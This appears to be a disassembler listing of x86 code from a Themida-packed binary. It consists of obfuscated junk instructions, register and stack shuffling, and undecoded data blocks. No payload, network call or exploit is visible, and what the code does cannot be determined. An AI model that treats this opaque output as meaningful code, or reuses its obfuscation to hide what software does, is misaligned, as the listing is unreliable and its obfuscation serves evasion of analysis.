		add	ebx, 2F495D43h
		sub	ebx, eax
		sub	ebx, 2F495D43h
		push	esi
		jmp	loc_56D177
; ---------------------------------------------------------------------------
		dd 565DEF01h, 54E9E689h, 68000006h, 249Ah, 68242C89h, 7DF0h
		dd 51240489h, 0FF938AE9h, 3C875CFFh, 24248B24h,	3981EB81h
		dd 6CE97C30h, 0BA00000Ch, 56381D2Eh, 5FCBE9h, 36EF8100h
		dd 11C447Dh, 36C781C7h,	581C447Dh, 51A1EF81h, 0E7C10C28h
		dd 16F78104h, 0E9F26B6Fh, 931Ch
; ---------------------------------------------------------------------------


loc_5680D8:				; CODE XREF: Themida_:0056AC35j
		mov	edi, 68634023h
		jmp	loc_56CD19
; ---------------------------------------------------------------------------
		dw 4759h
		dd 0F706E7C1h, 0BBF781D7h, 1C026A9h, 2434FFFAh,	83243C8Bh
		dd 0E95204C4h, 0FFFFE2F4h
; ---------------------------------------------------------------------------


loc_568100:				; CODE XREF: Themida_:00570481j
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		rep movsd
		jmp	loc_56CEB1
; ---------------------------------------------------------------------------
		dd 3C8BF829h, 4C48324h,	0FF6791E9h, 2434FFFFh, 0FFDC8DE9h
		dd 4C483FFh, 690DC181h,	0E9010D75h, 690DE981h, 0E95D0D75h
		dd 0FFFF7F47h, 68243C89h, 38A1h, 8904EC83h, 4812424h, 424h
		dd 24048F00h, 4BD55h, 6C010000h, 2C8B0424h, 0E2895224h
		dd 0FFFC41E9h, 0A5E95CFFh
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568177:				; CODE XREF: Themida_:0056EB03j
		pop	esp
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_56A75D
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 81EA2904h, 2255FC2h,	0B2E95D2Eh, 51000016h, 0A5E4E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56819A:				; CODE XREF: Themida_:0056B68Fj
		push	eax
		mov	eax, 37C2099Bh
		inc	eax
		add	eax, 75F219F8h
		or	eax, 38206EA3h
		add	eax, 57ACD0A9h
		add	esi, eax
		pop	eax
		sub	esi, 84BCF808h
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	52E4h
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_56B20A
; ---------------------------------------------------------------------------


loc_5681E9:				; CODE XREF: Themida_:0056957Dj
		inc	ebx
		add	ebx, 0CDF745FCh
		mov	ebp, ebx
		pop	ebx
		add	eax, 566212A6h
		jmp	loc_572518
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 81h
		dd 502E3251h, 422469B8h, 58C1317Fh, 0C8BCF31h, 0A19E924h
		dd 0C4830000h, 24048704h, 0B30F665Ch, 0E99C2404h, 0FFFF50C5h
		dd 8924248Bh, 4B82404h,	0E9000000h, 6AF7h, 39AEBB66h, 25100566h
		dd 0FF75E3E9h, 81DFF7FFh, 0B922BFC7h, 5FFA01B4h, 0FFC2814Ah
		dd 2998ACA4h, 79A9E9D0h, 5351FFFFh, 0FF87B9E9h,	2434FFFFh
		dd 0E9243C8Bh, 134Bh
; ---------------------------------------------------------------------------


loc_568270:				; CODE XREF: Themida_:00568557j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_568B6C
; ---------------------------------------------------------------------------
a_sQ		db '_Иж÷',0
		align 2


loc_568286:				; CODE XREF: Themida_:0056E3BDj
		pop	ecx
		jmp	loc_55F9B2
; ---------------------------------------------------------------------------


loc_56828C:				; CODE XREF: Themida_:0056C1C7j
		mov	edx, 3A1B4DCBh
		jmp	loc_5634DC
; ---------------------------------------------------------------------------
		dw 0EC80h
		dd 0B3536601h, 66DC3079h, 58E3285Bh, 805BD828h,	74E910EBh
		dd 89000062h, 4C581E5h,	83000000h, 3FE904C5h, 81000091h
		dd 43F59DEEh, 312FE987h, 0C3810000h, 4BD45F00h,	0E0FFE943h
		dd 0E952FFFFh, 6203h
; ---------------------------------------------------------------------------


loc_5682DC:				; CODE XREF: Themida_:005614CCj
		and	eax, ecx
		jmp	loc_55F8F4
; ---------------------------------------------------------------------------
		db 87h
		dd 875C2404h, 248B243Ch, 7978E924h, 0C381FFFFh,	4, 4BE56h
		dd 0F3010000h, 241C875Eh, 4B9515Ch, 1000000h, 0F6B4E9CAh
		dd 0CA80FFFFh, 5BCA8024h, 1165E950h, 0BF570000h, 0B22A4538h
		dd 94E9F801h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56832B:				; CODE XREF: Themida_:00570A06j
		push	edx
		mov	edx, 35AE43FCh
		not	edx
		neg	edx
		jmp	loc_56AC84
; ---------------------------------------------------------------------------


loc_56833A:				; CODE XREF: Themida_:00572681j
		push	edi
		mov	edi, 45F722DEh
		jmp	loc_56F6FF
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 0C3830000h, 241C8704h, 5824248Bh, 4BA52h, 0D0010000h
		dd 650DE9h
		db 0
; ---------------------------------------------------------------------------


loc_568365:				; CODE XREF: Themida_:00567023j
		dec	esi
		sub	esi, 6B73D2A3h
		mov	edi, esi
		pop	esi
		jmp	loc_562E2F
; ---------------------------------------------------------------------------
		dd 2D5FF889h, 47F372AEh, 52C58955h, 0D9E9E289h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568387:				; CODE XREF: Themida_:0056FAC3j
		pop	esp
		push	ebx
		jmp	loc_5693B1
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E957D829h, 0FFFFADD4h
; ---------------------------------------------------------------------------


loc_56839C:				; CODE XREF: Themida_:0056E7DCj
		sub	dword ptr [esp+4], 6EFC4D4Eh
		add	[esp+4], ebp
		add	dword ptr [esp+4], 6EFC4D4Eh
		push	edx
		mov	edx, 3F3B000Dh
		add	dword ptr [esp+8], 74F6252Fh
		sub	[esp+8], edx
		sub	dword ptr [esp+8], 74F6252Fh
		jmp	loc_56E39A
; ---------------------------------------------------------------------------
		db 49h
		dd 0FFBE17E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5683D5:				; CODE XREF: Themida_:005697CAj
		push	edi
		mov	edi, 634F21D1h
		sub	edi, 21B93731h
		neg	edi
		jmp	loc_5725D2
; ---------------------------------------------------------------------------
		dd 2E8ECE2Dh, 58C52974h, 2C8BEF89h, 4C48124h, 81000000h
		dd 731727C1h, 0E9F9294Dh, 0FFFFB157h, 0DD7AF181h, 0CF2926D0h
		dd 801BE9h, 30BF5700h, 0C1222B20h, 0F78106E7h, 0C8FA7E4Ah
		dd 3C8BF909h, 4C48324h,	0FF5AF5E9h, 5EBC1FFh, 61D3E9h
		dd 4DEB8100h, 10A7DFCh,	241C8BDAh, 59EDE9h, 0E9EED000h
		dd 0FFFF96DAh, 8108E7C1h, 413F3FC7h, 0CF8147E7h, 5A640820h
		dd 0C104E7C1h, 0EFC107EFh, 667DE902h, 1C890000h, 600ABB24h
		dd 0AEB876E7h, 0E938564Dh, 0FFFFC637h, 52243489h, 6D1171BAh
		dd 0DEEA814Ch, 0E9545455h, 0FFFF7E92h, 8304C483h, 343302C6h
		dd 24343124h, 5C243433h, 24148B66h, 62C76852h, 8F540000h
		dd 0E9572404h, 0FFFFF5EBh, 8904EC83h, 1487240Ch, 0E9F28724h
		dd 8DF8h, 6855535Ah, 35A63AFAh,	83242C8Bh, 0D5F704C4h
		dd 8F22F581h, 5B55A80Ah, 0D3F74B5Dh, 2BC9C381h,	8143288Fh
		dd 0C41E61C3h, 0E6E1E939h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5684F6:				; CODE XREF: Themida_:005635A0j
		mov	esi, 26FA7B72h
		add	esi, 58AEBB8Dh
		and	eax, esi
		pop	esi
		sub	eax, 43218114h
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	[edx+38h], ebx
		pop	ebx
		jmp	loc_56C637
; ---------------------------------------------------------------------------
		db 89h,	0C3h, 8Bh
		dd 49E92404h, 0C1000096h, 0F18107E9h, 37A33B2Ah, 0FF67FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568535:				; CODE XREF: Themida_:00569284j
		pop	ecx
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jz	loc_562A84
		push	4053h
		mov	[esp], ebx
		push	7D7Bh
		jmp	loc_568270
; ---------------------------------------------------------------------------


loc_56855C:				; CODE XREF: Themida_:0055DCFDj
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		idiv	ecx
		jmp	loc_564EE6
; ---------------------------------------------------------------------------


loc_568572:				; CODE XREF: Themida_:0056BC7Dj
		pop	ebx
		jmp	loc_56CF5A
; ---------------------------------------------------------------------------


loc_568578:				; CODE XREF: Themida_:005714E2j
		add	dword ptr [esp], 2A7567F1h
		jmp	loc_56CAB5
; ---------------------------------------------------------------------------
		dd 7066C581h
		db 6Dh,	0Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_570A9D
; ---------------------------------------------------------------------------


loc_568598:				; CODE XREF: Themida_:0056BC6Dj
		mov	bh, ah
		mov	ah, dl
		pop	edx
		push	edx
		mov	dh, 90h
		inc	dh
		shl	dh, 4
		xor	dh, 8Ah
		xor	ah, dh
		pop	edx
		add	bl, 44h
		sub	bl, ah
		sub	bl, 44h
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	al, 4Dh
		neg	al
		push	dx
		mov	dh, 0Ch
		sub	al, 0F8h
		sub	al, dh
		add	al, 0F8h
		pop	dx
		shr	al, 4
		shr	al, 1
		sub	al, 67h
		xor	al, 2Dh
		sub	bl, al
		pop	eax
		sub	bl, al
		add	bl, 0B3h
		push	dx
		mov	dl, 0BEh
		add	bl, dl
		jmp	loc_56597E
; ---------------------------------------------------------------------------
		db 0B6h, 29h, 88h
		dd 0E8005AF5h, 52C59h, 44E952F8h, 800000A0h, 5A6625C3h
		dd 0E9EAC380h, 0FFFF5B19h
; ---------------------------------------------------------------------------


loc_568608:				; CODE XREF: Themida_:00564528j
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	1
		mov	esi, [esp]
		jmp	loc_56038A
; ---------------------------------------------------------------------------
		dd 0F3E99EB7h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568627:				; CODE XREF: Themida_:005657CEj
		pop	eax
		pop	eax
		dec	esi
		push	5B77h
		mov	[esp], ebx
		mov	ebx, 7F0A653Ch
		add	ebx, 0F0822EF1h
		xor	esi, ebx
		jmp	loc_569874
; ---------------------------------------------------------------------------


loc_568644:				; CODE XREF: Themida_:0055E66Fj
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_569E7A
; ---------------------------------------------------------------------------


loc_56865E:				; CODE XREF: Themida_:0056ADEDj
		sub	esp, 4
		mov	[esp], ebp
		push	32106D54h
		pop	ebp
		neg	ebp
		jmp	loc_56AF4F
; ---------------------------------------------------------------------------
		dd 5304C483h, 82E9E389h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56867F:				; CODE XREF: Themida_:0056FD0Aj
		push	40000h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		push	ebx
		push	4
		jmp	loc_55D8D3
; ---------------------------------------------------------------------------
		db 81h
		dd 0E2BAFBF3h, 86A0E9C4h, 0EB29FFFFh, 7DEB815Dh, 5F55363Bh
		dd 0BCE95D5Fh, 8100000Bh, 0F82B79C9h, 0B8F18118h, 0E9339B4Fh
		dd 0A1C6h, 83242489h, 8B042404h, 0EFE92414h, 81000071h
		dd 4C6h, 4EE8300h, 8B243487h, 3C892424h, 6DFBE924h, 0ED81FFFFh
		dd 25E3323Ah, 7D95E9h, 0F666400h, 895302B6h, 4C381E3h
		dd 0E9000000h, 6833h, 0F605F829h, 0FF502508h, 815F2434h
		dd 4C4h, 4EC8300h, 89240C89h, 4C181E1h,	53000000h, 0C251A1BBh
		dd 2E3C127h, 8101C383h,	0EB4C2CF3h, 0D1DBF722h,	766E9E3h
		dd 0C4810000h, 2, 1CAE9h, 81465E00h, 0D8525CEEh, 3EEC156h
		dd 736DE953h, 0B951FFFFh, 55707A8Dh, 35E9CF09h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56876F:				; CODE XREF: Themida_:0056E129j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_564EF5
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 84E9D129h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56878F:				; CODE XREF: Themida_:00562634j
		mov	edi, 4
		sub	ebx, edi
		jmp	loc_5643F2
; ---------------------------------------------------------------------------
		db 5
		dd 6A25578Ah, 240C342Dh, 241C8B35h, 2904C483h, 0B85056D8h
		dd 72ED1B95h, 0A75900Dh, 0FFFF0532h, 520DFFFFh,	48762B18h
		dd 0DD05D0F7h, 89B1C1E6h, 0EE8158C6h, 52235E64h, 48FACE81h
		dd 0E6C102C2h, 0D3C68102h, 836BF138h, 2C8904ECh, 0CDBF5724h
		dd 0BD08E95Ah, 620D933Dh, 15FFD29h, 75FEE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5687FE:				; CODE XREF: Themida_:0055D5D9j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	eax, ecx
		pop	ecx
		push	ebp
		push	eax
		mov	eax, 6613B46h
		mov	ebp, eax
		pop	eax
		push	ecx
		jmp	loc_55E602
; ---------------------------------------------------------------------------
		db 54h,	58h, 55h
		dd 468h, 242C8B00h, 0E904C483h,	1ADBh, 208AC280h, 0B6525AD3h
		dd 0E9F330E3h, 0FFFFA471h, 1AB4C381h, 0B9510109h, 57453CDBh
		dd 2FE9CB29h, 8F000075h, 4832404h, 815A0424h, 4C2h, 0C200E900h
		dd 7EE9FFFFh, 0BAFFFF4Ah, 66796EAFh, 4755F281h,	0C28152E0h
		dd 13D9412Fh, 9C1EC281h, 0D0011CDFh, 748A055Ah,	0D82944E4h
		dd 748ABD55h, 0E82944E4h, 5D2434FFh, 6804C483h,	2854h
		dd 5811E9h
		db 0
; ---------------------------------------------------------------------------


loc_5688A9:				; CODE XREF: Themida_:0055F1CDj
		add	edx, 72560454h
		add	edx, ebp
		sub	edx, 72560454h
		mov	ebp, [esp]
		jmp	loc_56AF7C
; ---------------------------------------------------------------------------


loc_5688BF:				; CODE XREF: Themida_:005648D2j
		pop	esi
		shr	edx, 7
		and	edx, 88B5EACh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7DBF5404h
		jmp	loc_563CA5
; ---------------------------------------------------------------------------
		dd 0E945EDD1h, 0FFFFCE3Ch, 799BE958h, 0C681FFFFh, 4, 4C681h
		dd 8E90000h, 8FFFFA9h, 0C8B66CAh, 0E0895024h, 0FFD8A9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568909:				; CODE XREF: Themida_:0056B723j
		pop	edi
		sub	eax, 407056DBh
		sub	eax, ebx
		add	eax, 407056DBh
		jmp	loc_5674A8
; ---------------------------------------------------------------------------
		db 66h
		dd 2247401h, 534CE9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 5CAC1CAFh
		dec	ecx
		sub	ecx, 2CB56EC7h
		neg	ecx
		sub	ecx, 0D0095217h
		sub	ebp, 6D8A09A0h
		add	ebp, ecx
		push	edx
		jmp	loc_56606B
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0DEh
		dd 1C9A818h, 2434FFF1h,	5724348Bh, 0C781E789h, 4, 8704C783h
		dd 515C243Ch, 40E9E189h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568977:				; CODE XREF: Themida_:00564060j
		pop	esi
		jmp	loc_5713E6
; ---------------------------------------------------------------------------


loc_56897D:				; CODE XREF: Themida_:00570DABj
		add	edx, eax
		sub	esp, 4
		jmp	loc_55DD52
; ---------------------------------------------------------------------------
		dw 0F328h
		dd 0E9BDC380h, 0FFFF8330h, 0FF4954E9h, 4E983FFh, 32A8E951h
		dd 0EC810000h, 4, 7526E9h, 240C8900h, 37A5E9h, 0ABC68100h
		dd 103DC0Ah, 0ABEE81EEh, 5D03DC0Ah, 5A486850h, 2C890000h
		dd 0E9E58924h, 0FFFFE434h
; ---------------------------------------------------------------------------


loc_5689D4:				; CODE XREF: Themida_:0056CF4Dj
		add	ebx, ebp
		pop	ebp
		add	eax, ebx
		pop	ebx
		jmp	loc_57287F
; ---------------------------------------------------------------------------


loc_5689DF:				; CODE XREF: Themida_:0056BC9Fj
		shr	esi, 7
		shr	esi, 8
		push	eax
		jmp	loc_569EA0
; ---------------------------------------------------------------------------
		db 81h
		dd 2C7h, 74FF5700h, 50E90424h, 54FFFFD7h, 4EC835Eh, 0E9240489h
		dd 8B08h, 4C681h, 0EE810000h, 4, 5C243487h, 68243C89h
		dd 6CB93B08h, 81243C8Bh, 4C4h, 4E7AE900h, 3C310000h, 6DEAE924h
		dd 148BFFFFh, 4C48324h,	4EC81h,	6AE90000h, 53FFFFE6h, 4934E952h
		dd 9AE90000h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568A53:				; CODE XREF: Themida_:00564126j
		push	ecx
		mov	ecx, 23993837h
		dec	ecx
		jmp	loc_568AC5
; ---------------------------------------------------------------------------


loc_568A5F:				; CODE XREF: Themida_:00560A19j
		pop	eax
		dec	esi
		jmp	loc_55E943
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 434668h, 24348900h, 12C668h, 24148900h, 77597F68h
		dd 0C2815A59h, 0FFFFFFFFh, 5596B951h, 0E9C10006h, 8184E903h
		dd 2C8BFFFFh, 4C48324h,	4C481h,	0F7810000h, 6CF535B0h
		dd 62E9D7F7h, 56000038h, 38DCB850h, 0F1BE3BF1h,	3146617Ch
		dd 0D6F758C6h, 4BF0E9h
		db 0
; ---------------------------------------------------------------------------


loc_568AC5:				; CODE XREF: Themida_:00568A5Aj
		shr	ecx, 6
		or	ecx, 65067007h
		xor	ecx, 0CBC3F8Fh
		add	ecx, 32E931CAh
		push	ebx
		mov	ebx, 595C691Ah
		push	ebp
		mov	ebp, 21AF1AC6h
		and	ebx, ebp
		jmp	loc_55F9EC
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 2
		dd 24148966h, 24348166h, 5F666399h, 99F78166h, 0F9896663h
		dd 3043E9h
		db 0
; ---------------------------------------------------------------------------


loc_568B09:				; CODE XREF: Themida_:0056ABD5j
		and	eax, 3F8C0143h
		jmp	loc_56A4D5
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 0E9E38924h, 6434h, 0E9242489h, 5923h
; ---------------------------------------------------------------------------


loc_568B28:				; CODE XREF: Themida_:0055F1D4j
		push	ecx
		jmp	loc_566B66
; ---------------------------------------------------------------------------


loc_568B2E:				; CODE XREF: Themida_:00570C34j
		mov	ecx, [esp]
		jmp	loc_56D5A5
; ---------------------------------------------------------------------------
		dw 0F168h
		dd 0E9000066h, 0FFFFA450h
; ---------------------------------------------------------------------------


loc_568B40:				; CODE XREF: Themida_:0055EB6Dj
		mov	ecx, [esp]
		push	eax
		push	esp
		jmp	loc_56E0EA
; ---------------------------------------------------------------------------
		dw 335Fh
		dd 2C31242Ch, 242C3324h, 0E50CE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568B5A:				; CODE XREF: Themida_:00570ACAj
		add	eax, ebp
		add	eax, 2D4C68AEh
		jmp	loc_56DDEB
; ---------------------------------------------------------------------------
		dw 0E946h
		dd 0FFFF8EF9h
; ---------------------------------------------------------------------------


loc_568B6C:				; CODE XREF: Themida_:0056827Bj
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	760Dh
		mov	[esp], edi
		jmp	loc_56648C
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0BB535954h, 374A6689h, 0FF6D0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568B95:				; CODE XREF: Themida_:0055FF28j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56417D
; ---------------------------------------------------------------------------
		dd 0B252D028h, 4E2C0B1h, 4EC81h, 0C890000h, 0B08BE924h
		dd 0C381FFFFh, 4, 0FFA05AE9h, 81F329FFh, 92569DEBh, 0E3C15E24h
		dd 78EB8105h, 575E6679h, 5FE488BFh, 0FFFB3189h,	0DBE92434h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568BE3:				; CODE XREF: Themida_:00562C65j
		push	ebp
		jmp	loc_5714C6
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0EB68240Ch, 8900005Ch, 0E189240Ch, 4C181h
		dd 0D8E90000h, 89000018h, 4BD55E2h, 81000000h, 0D761C1C2h
		dd 0E9EA0128h, 876Bh, 0C581E589h, 4, 4C581h, 29E90000h
		dd 83FFFFB6h, 0ED8104C4h, 56647108h, 0C581FD01h, 56647108h
		dd 0FFFF05E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568C45:				; CODE XREF: Themida_:00566CE2j
		add	ebx, 0D6748F0h
		jmp	loc_56EA3D
; ---------------------------------------------------------------------------


loc_568C50:				; CODE XREF: Themida_:0056FD81j
		pop	esp
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 242C8924h, 242C8B54h, 4C481h, 0FBE90000h, 81FFFFFDh
		dd 4C4h, 40500h, 0E9560000h, 3A58h, 0B4240489h,	0FAB3FAh
		dd 0CBFE58E3h, 51E0F380h, 0FFA860E9h, 2C6BFFFh,	0E78118CCh
		dd 7183711h, 0E94FD7F7h, 1C63h
; ---------------------------------------------------------------------------


loc_568CA4:				; CODE XREF: Themida_:0055E959j
		mov	[esp], ebp
		mov	ebp, 4F7D4933h
		and	ebp, 485F586Eh
		neg	ebp
		xor	ebp, 40E84D4Eh
		or	ebp, 7347179Dh
		add	ebp, 0BBE5A764h
		sub	ecx, ebp
		pop	ebp
		sub	esi, ecx
		jmp	loc_55EF3B
; ---------------------------------------------------------------------------


loc_568CD0:				; CODE XREF: Themida_:0056B8BAj
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55EB8D
; ---------------------------------------------------------------------------
		db 66h
		dd 68241489h, 12CCh, 0FFBF08E9h, 240C8BFFh, 0E904C483h
		dd 3CFCh
; ---------------------------------------------------------------------------


loc_568CF4:				; CODE XREF: Themida_:00570D8Bj
		sub	ebx, 342260A3h
		push	esi
		push	ebp
		jmp	loc_56AB48
; ---------------------------------------------------------------------------
		db 0FEh, 0C6h, 66h
aSSj		db 'S╥бИJ>',0
		align 4
		dd 830BCD80h, 0ABE904ECh, 81FFFFC8h, 0A905E0C3h, 8CBD5551h
		dd 0E97B8727h, 0FFFF9DA6h, 4523BE56h, 0EC817A3Ch, 4, 0FFDAF8E9h
		dd 59EC28FFh, 0B719E953h, 4EBDFFFFh, 68658853h,	6C77h
		dd 0FF7194E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568D51:				; CODE XREF: Themida_:0057091Bj
		sub	esi, edx
		pop	edx
		jmp	loc_564C42
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 56h
		dd 0FF5323E9h, 753CBAFFh, 0D3017DA4h, 7C23685Ah, 34890000h
		dd 0EAE95024h, 0BF000028h, 23635D47h, 3C8BFA01h, 8304E924h
		dd 3B68FFFFh, 0E9000021h, 2904h
; ---------------------------------------------------------------------------


loc_568D90:				; CODE XREF: Themida_:0056C155j
		add	esp, 4
		inc	esi
		sub	esi, 0EEE14552h
		add	eax, 71C50920h
		sub	eax, esi
		push	ebx
		mov	ebx, 71C50920h
		sub	eax, ebx
		pop	ebx
		pop	esi
		push	dword ptr [edi+eax*4]
		jmp	loc_5699E3
; ---------------------------------------------------------------------------


loc_568DB3:				; CODE XREF: Themida_:00563319j
		pop	esp
		mov	[esp], esi
		jmp	loc_565B5B
; ---------------------------------------------------------------------------
		dd 0E9242C33h, 7910h
; ---------------------------------------------------------------------------


loc_568DC4:				; CODE XREF: Themida_:005690E0j
		push	7FD3h
		mov	[esp], esp
		push	edi
		jmp	loc_567F24
; ---------------------------------------------------------------------------


loc_568DD2:				; CODE XREF: Themida_:0056FD4Fj
		add	esi, 4
		add	esi, 4
		jmp	loc_56C41F
; ---------------------------------------------------------------------------
		db 89h
		dd 8353240Ch, 8DE904ECh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568DEF:				; CODE XREF: Themida_:0056B7BEj
		add	ecx, 4
		jmp	loc_55E144
; ---------------------------------------------------------------------------


loc_568DFA:				; CODE XREF: Themida_:00561051j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 535F6EDDh
		mov	eax, 0D9E4D77Eh
		add	eax, ecx
		pop	ecx
		jmp	loc_570E8D
; ---------------------------------------------------------------------------
		db 58h,	83h, 0C4h
		dd 24143304h, 0FFECA0E9h, 81FD01FFh, 0F41FB7C5h, 0BC24E922h
		dd 8952FFFFh, 7DBB53E2h, 0C11E341Bh, 0E95603E3h, 0FFFF8E3Ah
		dd 0C15FFA01h, 0F28107EAh, 2DCE66F8h, 8102EAC1h, 0E1284BEAh
		dd 5F84E99Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568E5A:				; CODE XREF: Themida_:0055D89Aj
		shl	edx, 1
		push	7E20h
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_563497
; ---------------------------------------------------------------------------


loc_568E6C:				; CODE XREF: Themida_:0056A9C6j
		push	3C1Ch
		jmp	loc_571493
; ---------------------------------------------------------------------------
		dw 685Ah
		dd 2701h, 68240489h, 680h, 24048F54h, 4240483h,	40558h
		dd 11680000h, 89000021h, 6855243Ch, 5B4964DBh, 29C5815Dh
		dd 0E9A4B69Bh, 0FFFF5D43h, 0EAAAF381h, 0D929843Bh, 0C1B3E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568EBA:				; CODE XREF: Themida_:00571656j
		mov	ebx, 2B7A0EC2h
		push	edx
		mov	edx, 635E701Ah
		jmp	loc_5674B2
; ---------------------------------------------------------------------------
		dw 0C0BAh
		dd 5227A31Ah, 0FF6106E9h, 48B66FFh, 0E1895124h,	4C181h
		dd 0E9810000h, 4, 8B240C87h, 2C892424h,	5FD56824h, 24890000h
		dd 24048124h, 4, 0FFA4F8E9h, 3E9C1FFh, 0FF63E7E9h, 4EB81FFh
		dd 87000000h, 5E9241Ch,	6600008Ah, 5724048Bh, 0E951E789h
		dd 0A6Ah
; ---------------------------------------------------------------------------


loc_568F28:				; CODE XREF: Themida_:0056CD1Fj
		shr	edi, 5
		sub	edi, 17F33293h
		xor	edi, 0ECB99B00h
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		push	eax
		jmp	loc_56E203
; ---------------------------------------------------------------------------
		db 88h
		dd 0DE8852CCh, 885AF188h, 48B66E3h, 2C48324h, 0C9E9C186h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568F6B:				; CODE XREF: Themida_:00569659j
		mov	ebp, 4981723Dh
		shl	ebp, 2
		xor	ebp, 3B3700F6h
		push	6C12h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55F052
; ---------------------------------------------------------------------------


loc_568F88:				; CODE XREF: Themida_:00570337j
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	esi
		jmp	loc_56BDCB
; ---------------------------------------------------------------------------
aMhJ		db '╛h╤j',0
		dd 241C8900h, 7EE9E389h, 58000084h, 844EE9h, 2434FF00h
		dd 8324048Bh, 896804C4h, 89000008h, 77682404h, 89000009h
		dd 4832424h, 53580424h,	4BBh, 0FFD80100h, 1C8B2434h, 4C48324h
		dd 0FF7F7EE9h, 50535CFFh, 28FA68h, 241C8900h, 0D888D388h
		dd 19A6685Bh, 14890000h, 4EC8324h, 1674E9h
		db 0
; ---------------------------------------------------------------------------


loc_56900D:				; CODE XREF: Themida_:0055D9F2j
		pop	dword ptr [esp]
		xchg	eax, esi
		not	eax
		xor	esi, eax
		xor	eax, esi
		xor	esi, eax
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56AFE1
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFFB70h
; ---------------------------------------------------------------------------


loc_569030:				; CODE XREF: Themida_:0056F3C9j
		push	dword ptr [esp]
		jmp	loc_56A939
; ---------------------------------------------------------------------------
		dd 815B5453h, 4C3h, 4EB8300h, 8B241C87h, 2C892424h, 4BD24h
		dd 0B9E90000h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569057:				; CODE XREF: Themida_:00564D97j
		mov	[esp], ecx
		push	edi
		mov	edi, ebx
		push	6335h
		mov	[esp], edi
